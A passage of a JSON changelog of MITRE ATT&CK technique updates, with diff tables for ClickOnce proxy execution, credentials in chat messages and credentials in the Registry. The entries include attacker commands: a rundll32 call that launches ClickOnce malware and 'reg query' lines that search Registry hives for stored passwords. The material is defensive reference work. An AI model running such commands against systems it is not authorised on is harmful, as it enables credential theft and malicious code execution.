nowrap=\"nowrap\">application&nbsp;files)&nbsp;to&nbsp;proxy&nbsp;execution&nbsp;of&nbsp;code&nbsp;through&nbsp;a&nbsp;trus</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ted&nbsp;Windows&nbsp;utility.(Citation:&nbsp;Burke/CISA&nbsp;ClickOnce&nbsp;BlackHat</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ted&nbsp;Windows&nbsp;utility.(Citation:&nbsp;Burke/CISA&nbsp;ClickOnce&nbsp;BlackHat</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">)&nbsp;ClickOnce&nbsp;is&nbsp;a&nbsp;deployment&nbsp;that&nbsp;enables&nbsp;a&nbsp;user&nbsp;to&nbsp;create&nbsp;se</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">)&nbsp;ClickOnce&nbsp;is&nbsp;a&nbsp;deployment&nbsp;that&nbsp;enables&nbsp;a&nbsp;user&nbsp;to&nbsp;create&nbsp;se</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">lf-updating&nbsp;Windows-based&nbsp;.NET&nbsp;applications&nbsp;(i.e,&nbsp;.XBAP,&nbsp;.EX</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">lf-updating&nbsp;Windows-based&nbsp;.NET&nbsp;applications&nbsp;(i.e<span class=\"diff_add\">.</span>,&nbsp;.XBAP,&nbsp;.E</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">E,&nbsp;or&nbsp;.DLL)&nbsp;that&nbsp;install&nbsp;and&nbsp;run&nbsp;from&nbsp;a&nbsp;file&nbsp;share&nbsp;or&nbsp;web&nbsp;pa</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">XE,&nbsp;or&nbsp;.DLL)&nbsp;that&nbsp;install&nbsp;and&nbsp;run&nbsp;from&nbsp;a&nbsp;file&nbsp;share&nbsp;or&nbsp;web&nbsp;p</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ge&nbsp;with&nbsp;minimal&nbsp;user&nbsp;interaction.&nbsp;The&nbsp;application&nbsp;launches&nbsp;a</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">age&nbsp;with&nbsp;minimal&nbsp;user&nbsp;interaction.&nbsp;The&nbsp;application&nbsp;launches&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;a&nbsp;child&nbsp;process&nbsp;of&nbsp;DFSVC.EXE,&nbsp;which&nbsp;is&nbsp;responsible&nbsp;for&nbsp;ins</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">as&nbsp;a&nbsp;child&nbsp;process&nbsp;of&nbsp;DFSVC.EXE,&nbsp;which&nbsp;is&nbsp;responsible&nbsp;for&nbsp;in</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">talling,&nbsp;launching,&nbsp;and&nbsp;updating&nbsp;the&nbsp;application.(Citation:&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">stalling,&nbsp;launching,&nbsp;and&nbsp;updating&nbsp;the&nbsp;application.(Citation:</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">SpectorOps&nbsp;Medium&nbsp;ClickOnce)&nbsp;&nbsp;Because&nbsp;ClickOnce&nbsp;applications</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;SpectorOps&nbsp;Medium&nbsp;ClickOnce)&nbsp;&nbsp;Because&nbsp;ClickOnce&nbsp;application</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;receive&nbsp;only&nbsp;limited&nbsp;permissions,&nbsp;they&nbsp;do&nbsp;not&nbsp;require&nbsp;admin</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;receive&nbsp;only&nbsp;limited&nbsp;permissions,&nbsp;they&nbsp;do&nbsp;not&nbsp;require&nbsp;admi</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">istrative&nbsp;permissions&nbsp;to&nbsp;install.(Citation:&nbsp;Microsoft&nbsp;Learn&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nistrative&nbsp;permissions&nbsp;to&nbsp;install.(Citation:&nbsp;Microsoft&nbsp;Learn</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ClickOnce)&nbsp;As&nbsp;such,&nbsp;adversaries&nbsp;may&nbsp;abuse&nbsp;ClickOnce&nbsp;to&nbsp;proxy</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;ClickOnce)&nbsp;As&nbsp;such,&nbsp;adversaries&nbsp;may&nbsp;abuse&nbsp;ClickOnce&nbsp;to&nbsp;prox</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;execution&nbsp;of&nbsp;malicious&nbsp;code&nbsp;without&nbsp;needing&nbsp;to&nbsp;escalate&nbsp;pri</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">y&nbsp;execution&nbsp;of&nbsp;malicious&nbsp;code&nbsp;without&nbsp;needing&nbsp;to&nbsp;escalate&nbsp;pr</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">vileges.&nbsp;&nbsp;ClickOnce&nbsp;may&nbsp;be&nbsp;abused&nbsp;in&nbsp;a&nbsp;number&nbsp;of&nbsp;ways.&nbsp;For&nbsp;e</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ivileges.&nbsp;&nbsp;ClickOnce&nbsp;may&nbsp;be&nbsp;abused&nbsp;in&nbsp;a&nbsp;number&nbsp;of&nbsp;ways.&nbsp;For&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">xample,&nbsp;an&nbsp;adversary&nbsp;may&nbsp;rely&nbsp;on&nbsp;[User&nbsp;Execution](https://at</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">example,&nbsp;an&nbsp;adversary&nbsp;may&nbsp;rely&nbsp;on&nbsp;[User&nbsp;Execution](https://a</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tack.mitre.org/techniques/T1204).&nbsp;When&nbsp;a&nbsp;user&nbsp;visits&nbsp;a&nbsp;malic</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ttack.mitre.org/techniques/T1204).&nbsp;When&nbsp;a&nbsp;user&nbsp;visits&nbsp;a&nbsp;mali</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ious&nbsp;website,&nbsp;the&nbsp;.NET&nbsp;malware&nbsp;is&nbsp;disguised&nbsp;as&nbsp;legitimate&nbsp;so</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">cious&nbsp;website,&nbsp;the&nbsp;.NET&nbsp;malware&nbsp;is&nbsp;disguised&nbsp;as&nbsp;legitimate&nbsp;s</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ftware&nbsp;and&nbsp;a&nbsp;ClickOnce&nbsp;popup&nbsp;is&nbsp;displayed&nbsp;for&nbsp;installation.(</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">oftware&nbsp;and&nbsp;a&nbsp;ClickOnce&nbsp;popup&nbsp;is&nbsp;displayed&nbsp;for&nbsp;installation.</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Citation:&nbsp;NetSPI&nbsp;ClickOnce)&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;also&nbsp;abuse&nbsp;Clic</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">(Citation:&nbsp;NetSPI&nbsp;ClickOnce)&nbsp;&nbsp;Adversaries&nbsp;may&nbsp;also&nbsp;abuse&nbsp;Cli</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">kOnce&nbsp;to&nbsp;execute&nbsp;malware&nbsp;via&nbsp;a&nbsp;[Rundll32](https://attack.mit</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ckOnce&nbsp;to&nbsp;execute&nbsp;malware&nbsp;via&nbsp;a&nbsp;[Rundll32](https://attack.mi</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">re.org/techniques/T1218/011)&nbsp;script&nbsp;using&nbsp;the&nbsp;command&nbsp;`rundl</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tre.org/techniques/T1218/011)&nbsp;script&nbsp;using&nbsp;the&nbsp;command&nbsp;`rund</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">l32.exe&nbsp;dfshim.dll,ShOpenVerbApplication1`.(Citation:&nbsp;LOLBAS</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ll32.exe&nbsp;dfshim.dll,ShOpenVerbApplication1`.(Citation:&nbsp;LOLBA</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;/Dfsvc.exe)&nbsp;&nbsp;Additionally,&nbsp;an&nbsp;adversary&nbsp;can&nbsp;move&nbsp;the&nbsp;ClickO</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">S&nbsp;/Dfsvc.exe)&nbsp;&nbsp;Additionally,&nbsp;an&nbsp;adversary&nbsp;can&nbsp;move&nbsp;the&nbsp;Click</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">nce&nbsp;application&nbsp;file&nbsp;to&nbsp;a&nbsp;remote&nbsp;user\u2019s&nbsp;startup&nbsp;folder&nbsp;for&nbsp;c</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Once&nbsp;application&nbsp;file&nbsp;to&nbsp;a&nbsp;remote&nbsp;user\u2019s&nbsp;startup&nbsp;folder&nbsp;for&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ontinued&nbsp;malicious&nbsp;code&nbsp;deployment&nbsp;(i.e.,&nbsp;[Registry&nbsp;Run&nbsp;Keys</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">continued&nbsp;malicious&nbsp;code&nbsp;deployment&nbsp;(i.e.,&nbsp;[Registry&nbsp;Run&nbsp;Key</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;/&nbsp;Startup&nbsp;Folder](https://attack.mitre.org/techniques/T1547</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">s&nbsp;/&nbsp;Startup&nbsp;Folder](https://attack.mitre.org/techniques/T154</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">/001)).(Citation:&nbsp;Burke/CISA&nbsp;ClickOnce&nbsp;BlackHat)(Citation:&nbsp;B</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">7/001)).(Citation:&nbsp;Burke/CISA&nbsp;ClickOnce&nbsp;BlackHat)(Citation:&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">urke/CISA&nbsp;ClickOnce&nbsp;Paper)</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Burke/CISA&nbsp;ClickOnce&nbsp;Paper)</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1021: Restrict Web-Based Content",
                            "M1042: Disable or Remove Feature or Program",
                            "M1045: Code Signing"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0191: Behavior-chain detection strategy for T1127.002 Trusted Developer Utilities Proxy Execution: ClickOnce (Windows)"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--9664ad0e-789e-40ac-82e2-d7b17fbe8fb3",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2023-03-14 14:38:03.673000+00:00",
                    "modified": "2026-11-04 00:55:13.431000+00:00",
                    "name": "Chat Messages",
                    "description": "Adversaries may directly collect unsecured credentials stored or passed through user communication services. Credentials may be sent and stored in user chat communication applications such as email, chat services like Slack or Teams, collaboration tools like Jira or Trello, and any other services that support user communication. Users may share various forms of credentials (such as usernames and passwords, API keys, or authentication tokens) on private or public corporate internal communications channels.\n\nRather than accessing the stored chat logs (i.e., [Credentials In Files](https://attack.mitre.org/techniques/T1552/001)), adversaries may directly access credentials within these services on the user endpoint, through servers hosting the services, or through administrator portals for cloud hosted services. Adversaries may also compromise integration tools like Slack Workflows to automatically search through messages to extract user credentials. These credentials may then be abused to perform follow-on activities such as lateral movement or privilege escalation.(Citation: Slack Security Risks)",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "credential-access"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1552/008",
                            "external_id": "T1552.008"
                        },
                        {
                            "source_name": "Slack Security Risks",
                            "description": "Michael Osakwe. (2020, November 18). 4 SaaS and Slack Security Risks to Consider. Retrieved March 17, 2023.",
                            "url": "https://www.nightfall.ai/blog/saas-slack-security-risks-2020"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_contributors": [
                        "Douglas Weir"
                    ],
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": true,
                    "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "x_mitre_platforms": [
                        "SaaS",
                        "Office Suite"
                    ],
                    "x_mitre_version": "1.1",
                    "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2026-11-04 00:55:13.431000+00:00\", \"old_value\": \"2025-04-15 21:56:22.979000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may directly collect unsecured credentials stored or passed through user communication services. Credentials may be sent and stored in user chat communication applications such as email, chat services like Slack or Teams, collaboration tools like Jira or Trello, and any other services that support user communication. Users may share various forms of credentials (such as usernames and passwords, API keys, or authentication tokens) on private or public corporate internal communications channels.\\n\\nRather than accessing the stored chat logs (i.e., [Credentials In Files](https://attack.mitre.org/techniques/T1552/001)), adversaries may directly access credentials within these services on the user endpoint, through servers hosting the services, or through administrator portals for cloud hosted services. Adversaries may also compromise integration tools like Slack Workflows to automatically search through messages to extract user credentials. These credentials may then be abused to perform follow-on activities such as lateral movement or privilege escalation.(Citation: Slack Security Risks)\", \"old_value\": \"Adversaries may directly collect unsecured credentials stored or passed through user communication services. Credentials may be sent and stored in user chat communication applications such as email, chat services like Slack or Teams, collaboration tools like Jira or Trello, and any other services that support user communication. Users may share various forms of credentials (such as usernames and passwords, API keys, or authentication tokens) on private or public corporate internal communications channels.\\n\\nRather than accessing the stored chat logs (i.e., [Credentials In Files](https://attack.mitre.org/techniques/T1552/001)), adversaries may directly access credentials within these services on the user endpoint, through servers hosting the services, or through administrator portals for cloud hosted services. Adversaries may also compromise integration tools like Slack Workflows to automatically search through messages to extract user credentials. These credentials may then be abused to perform follow-on activities such as lateral movement or privilege escalation (Citation: Slack Security Risks).\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,3 @@\\n Adversaries may directly collect unsecured credentials stored or passed through user communication services. Credentials may be sent and stored in user chat communication applications such as email, chat services like Slack or Teams, collaboration tools like Jira or Trello, and any other services that support user communication. Users may share various forms of credentials (such as usernames and passwords, API keys, or authentication tokens) on private or public corporate internal communications channels.\\n \\n-Rather than accessing the stored chat logs (i.e., [Credentials In Files](https://attack.mitre.org/techniques/T1552/001)), adversaries may directly access credentials within these services on the user endpoint, through servers hosting the services, or through administrator portals for cloud hosted services. Adversaries may also compromise integration tools like Slack Workflows to automatically search through messages to extract user credentials. These credentials may then be abused to perform follow-on activities such as lateral movement or privilege escalation (Citation: Slack Security Risks).\\n+Rather than accessing the stored chat logs (i.e., [Credentials In Files](https://attack.mitre.org/techniques/T1552/001)), adversaries may directly access credentials within these services on the user endpoint, through servers hosting the services, or through administrator portals for cloud hosted services. Adversaries may also compromise integration tools like Slack Workflows to automatically search through messages to extract user credentials. These credentials may then be abused to perform follow-on activities such as lateral movement or privilege escalation.(Citation: Slack Security Risks)\"}, \"root['x_mitre_attack_spec_version']\": {\"new_value\": \"3.3.0\", \"old_value\": \"3.2.0\"}}}",
                    "previous_version": "1.1",
                    "description_change_table": "\n    <table class=\"diff\" id=\"difflib_chg_to39__top\"\n           cellspacing=\"0\" cellpadding=\"0\" rules=\"groups\" >\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <colgroup></colgroup> <colgroup></colgroup> <colgroup></colgroup>\n        <thead><tr><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">Old Description</th><th class=\"diff_next\"><br /></th><th colspan=\"2\" class=\"diff_header\">New Description</th></tr></thead>\n        <tbody>\n            <tr><td class=\"diff_next\" id=\"difflib_chg_to39__0\"><a href=\"#difflib_chg_to39__top\">t</a></td><td class=\"diff_header\" id=\"from39_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;directly&nbsp;collect&nbsp;unsecured&nbsp;credentials&nbsp;store</td><td class=\"diff_next\"><a href=\"#difflib_chg_to39__top\">t</a></td><td class=\"diff_header\" id=\"to39_1\">1</td><td nowrap=\"nowrap\">Adversaries&nbsp;may&nbsp;directly&nbsp;collect&nbsp;unsecured&nbsp;credentials&nbsp;store</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">d&nbsp;or&nbsp;passed&nbsp;through&nbsp;user&nbsp;communication&nbsp;services.&nbsp;Credentials</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">d&nbsp;or&nbsp;passed&nbsp;through&nbsp;user&nbsp;communication&nbsp;services.&nbsp;Credentials</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;may&nbsp;be&nbsp;sent&nbsp;and&nbsp;stored&nbsp;in&nbsp;user&nbsp;chat&nbsp;communication&nbsp;applicati</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;may&nbsp;be&nbsp;sent&nbsp;and&nbsp;stored&nbsp;in&nbsp;user&nbsp;chat&nbsp;communication&nbsp;applicati</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ons&nbsp;such&nbsp;as&nbsp;email,&nbsp;chat&nbsp;services&nbsp;like&nbsp;Slack&nbsp;or&nbsp;Teams,&nbsp;collab</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ons&nbsp;such&nbsp;as&nbsp;email,&nbsp;chat&nbsp;services&nbsp;like&nbsp;Slack&nbsp;or&nbsp;Teams,&nbsp;collab</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">oration&nbsp;tools&nbsp;like&nbsp;Jira&nbsp;or&nbsp;Trello,&nbsp;and&nbsp;any&nbsp;other&nbsp;services&nbsp;th</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">oration&nbsp;tools&nbsp;like&nbsp;Jira&nbsp;or&nbsp;Trello,&nbsp;and&nbsp;any&nbsp;other&nbsp;services&nbsp;th</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">at&nbsp;support&nbsp;user&nbsp;communication.&nbsp;Users&nbsp;may&nbsp;share&nbsp;various&nbsp;forms</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">at&nbsp;support&nbsp;user&nbsp;communication.&nbsp;Users&nbsp;may&nbsp;share&nbsp;various&nbsp;forms</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;of&nbsp;credentials&nbsp;(such&nbsp;as&nbsp;usernames&nbsp;and&nbsp;passwords,&nbsp;API&nbsp;keys,&nbsp;</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;of&nbsp;credentials&nbsp;(such&nbsp;as&nbsp;usernames&nbsp;and&nbsp;passwords,&nbsp;API&nbsp;keys,&nbsp;</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">or&nbsp;authentication&nbsp;tokens)&nbsp;on&nbsp;private&nbsp;or&nbsp;public&nbsp;corporate&nbsp;int</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">or&nbsp;authentication&nbsp;tokens)&nbsp;on&nbsp;private&nbsp;or&nbsp;public&nbsp;corporate&nbsp;int</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ernal&nbsp;communications&nbsp;channels.&nbsp;&nbsp;Rather&nbsp;than&nbsp;accessing&nbsp;the&nbsp;st</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ernal&nbsp;communications&nbsp;channels.&nbsp;&nbsp;Rather&nbsp;than&nbsp;accessing&nbsp;the&nbsp;st</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ored&nbsp;chat&nbsp;logs&nbsp;(i.e.,&nbsp;[Credentials&nbsp;In&nbsp;Files](https://attack.</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ored&nbsp;chat&nbsp;logs&nbsp;(i.e.,&nbsp;[Credentials&nbsp;In&nbsp;Files](https://attack.</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">mitre.org/techniques/T1552/001)),&nbsp;adversaries&nbsp;may&nbsp;directly&nbsp;a</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">mitre.org/techniques/T1552/001)),&nbsp;adversaries&nbsp;may&nbsp;directly&nbsp;a</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ccess&nbsp;credentials&nbsp;within&nbsp;these&nbsp;services&nbsp;on&nbsp;the&nbsp;user&nbsp;endpoint</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ccess&nbsp;credentials&nbsp;within&nbsp;these&nbsp;services&nbsp;on&nbsp;the&nbsp;user&nbsp;endpoint</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">,&nbsp;through&nbsp;servers&nbsp;hosting&nbsp;the&nbsp;services,&nbsp;or&nbsp;through&nbsp;administr</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">,&nbsp;through&nbsp;servers&nbsp;hosting&nbsp;the&nbsp;services,&nbsp;or&nbsp;through&nbsp;administr</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ator&nbsp;portals&nbsp;for&nbsp;cloud&nbsp;hosted&nbsp;services.&nbsp;Adversaries&nbsp;may&nbsp;also</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ator&nbsp;portals&nbsp;for&nbsp;cloud&nbsp;hosted&nbsp;services.&nbsp;Adversaries&nbsp;may&nbsp;also</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;compromise&nbsp;integration&nbsp;tools&nbsp;like&nbsp;Slack&nbsp;Workflows&nbsp;to&nbsp;automa</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;compromise&nbsp;integration&nbsp;tools&nbsp;like&nbsp;Slack&nbsp;Workflows&nbsp;to&nbsp;automa</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tically&nbsp;search&nbsp;through&nbsp;messages&nbsp;to&nbsp;extract&nbsp;user&nbsp;credentials.</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">tically&nbsp;search&nbsp;through&nbsp;messages&nbsp;to&nbsp;extract&nbsp;user&nbsp;credentials.</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;These&nbsp;credentials&nbsp;may&nbsp;then&nbsp;be&nbsp;abused&nbsp;to&nbsp;perform&nbsp;follow-on&nbsp;a</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">&nbsp;These&nbsp;credentials&nbsp;may&nbsp;then&nbsp;be&nbsp;abused&nbsp;to&nbsp;perform&nbsp;follow-on&nbsp;a</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ctivities&nbsp;such&nbsp;as&nbsp;lateral&nbsp;movement&nbsp;or&nbsp;privilege&nbsp;escalation<span class=\"diff_chg\">&nbsp;</span>(</td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">ctivities&nbsp;such&nbsp;as&nbsp;lateral&nbsp;movement&nbsp;or&nbsp;privilege&nbsp;escalation<span class=\"diff_chg\">.</span>(</td></tr>\n            <tr><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Citation:&nbsp;Slack&nbsp;Security&nbsp;Risks)<span class=\"diff_sub\">.</span></td><td class=\"diff_next\"></td><td class=\"diff_header\">></td><td nowrap=\"nowrap\">Citation:&nbsp;Slack&nbsp;Security&nbsp;Risks)</td></tr>\n        </tbody>\n    </table>",
                    "changelog_mitigations": {
                        "shared": [
                            "M1017: User Training",
                            "M1047: Audit"
                        ],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_datacomponent_detections": {
                        "shared": [],
                        "new": [],
                        "dropped": []
                    },
                    "changelog_detectionstrategy_detections": {
                        "shared": [
                            "DET0111: Detect Unsecured Credentials Shared in Chat Messages"
                        ],
                        "new": [],
                        "dropped": []
                    }
                },
                {
                    "type": "attack-pattern",
                    "id": "attack-pattern--341e222a-a6e3-4f6f-b69c-831d792b1580",
                    "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
                    "created": "2020-02-04 12:58:40.678000+00:00",
                    "modified": "2026-11-04 00:54:40.982000+00:00",
                    "name": "Credentials in Registry",
                    "description": "Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.\n\nExample commands to find Registry keys related to password information:(Citation: Pentestlab Stored Credentials)\n\n* Local Machine Hive: <code>reg query HKLM /f password /t REG_SZ /s</code>\n* Current User Hive: <code>reg query HKCU /f password /t REG_SZ /s</code>",
                    "kill_chain_phases": [
                        {
                            "kill_chain_name": "mitre-attack",
                            "phase_name": "credential-access"
                        }
                    ],
                    "revoked": false,
                    "external_references": [
                        {
                            "source_name": "mitre-attack",
                            "url": "https://attack.mitre.org/techniques/T1552/002",
                            "external_id": "T1552.002"
                        },
                        {
                            "source_name": "Pentestlab Stored Credentials",
                            "description": "netbiosX. (2017, April 19). Stored Credentials. Retrieved April 6, 2018.",
                            "url": "https://pentestlab.blog/2017/04/19/stored-credentials/"
                        }
                    ],
                    "object_marking_refs": [
                        "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
                    ],
                    "x_mitre_attack_spec_version": "3.3.0",
                    "x_mitre_contributors": [
                        "Sudhanshu Chauhan, @Sudhanshu_C"
                    ],
                    "x_mitre_deprecated": false,
                    "x_mitre_domains": [
                        "enterprise-attack"
                    ],
                    "x_mitre_is_subtechnique": true,
